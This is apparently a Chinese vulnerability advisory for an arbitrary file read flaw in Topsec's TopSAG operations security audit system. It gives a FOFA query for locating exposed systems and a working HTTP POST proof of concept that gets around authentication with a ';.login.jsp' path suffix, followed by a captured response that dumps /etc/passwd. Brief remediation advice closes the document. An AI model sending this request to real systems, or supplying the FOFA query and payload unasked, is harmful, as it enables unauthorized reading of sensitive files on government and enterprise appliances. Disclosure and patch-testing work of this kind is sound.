

天融信运维安全审计系统download任意文件读取漏洞

漏洞描述

天融信运维安全审计系统TopSAG是基于自主知识产权NGTOS安全操作系统平台和多年网络安全防护经验积累研发而成，系统以4A管理理念为基础、安全代理为核心，在运维管理领域持续创新，为客户提供事前预防、事中监控、事后审计的全方位运维安全解决方案，适用于政府、金融、能源、电信、交通、教育等行业。天融信运维安全审计系统download存在任意文件读取漏洞

影响版本

天融信运维安全审计系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： header="iam" && server="Apache-Coyote/"

POC/EXP：

POST /iam/download;.login.jsp HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0

Accept: application/json, text/plain, /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/x-www-form-urlencoded

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-site

Content-Length: 67

filename=1.txt&filepath=/etc/passwd

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

1 POST /iam/download;.login.jsp HTTP/1.1

2 Host: .

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0

4 Accept: application/json, text/plain, */*

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Content-Type: application/x-www-form-urlencoded

7 Sec-Fetch-Dest: empty

8 Sec-Fetch-Mode: cors

9 Sec-Fetch-Site: same-site

10 Content-Length auto : 67

11

12 filename=1.txt&filepath=/etc/passwd

Responses

https

32530bytes / 55ms

美化

详情

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Disposition: attachment;filename=1.txt

4 Content-Type: text/plain; charset=utf-8

5 Date: Fri, 01 Nov 2024 04:00:42 GMT

6 Content-Length: 32530

7

8 root:x:0:0:root:/root:/bin/bash

9 xftp:x:0:0:/home/xftp:/bin/bash

10 daemon:x:1:1:daemon:/usr/sbin:/bin/sh

11 bin:x:2:2:bin:/bin:/bin/sh

12 sys:x:3:3:sys:/dev:/bin/sh

13 sync:x:4:65534:sync:/bin:/bin/sync

14 games:x:5:60:games:/usr/games:/bin/sh

15 man:x:6:12:man:/var/cache/man:/bin/sh

16 lp:x:7:7:lp:/var/spool/lpd:/bin/sh

17 mail:x:8:8:mail:/var/mail:/bin/sh

18 news:x:9:9:news:/var/spool/news:/bin/sh

19 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

20 proxy:x:13:13:proxy:/bin:/bin/sh

21 www-data:x:33:33:www-data:/var/www:/bin/sh

22 backup:x:34:34:backup:/var/backups:/bin/sh

23 list:x:38:38:Mailing List Manager:/var/list:/bin/sh

24 irc:x:39:39:ircd:/var/run/ircd:/bin/sh

25 gnats:x:41:41:Gnats Bug Reporting System (admin):/var/lib/gnats:/bin/sh

26 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

27 libuuid:x:100:101:/var/lib/libuuid:/bin/sh

28 Debian-exim:x:101:103:/var/spool/exim4:/bin/false

29 statd:x:102:65534:/var/lib/nfs:/bin/false

30 sshd:x:103:65534:/var/run/sshd:/usr/sbin/nologin

31 tom:x:1000:1000:tom,,/home/tom:/bin/bash

32 freerad:x:104:106:/etc/freeradius:/bin/false

33 snmp:x:105:109:/var/lib/snmp:/bin/false

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本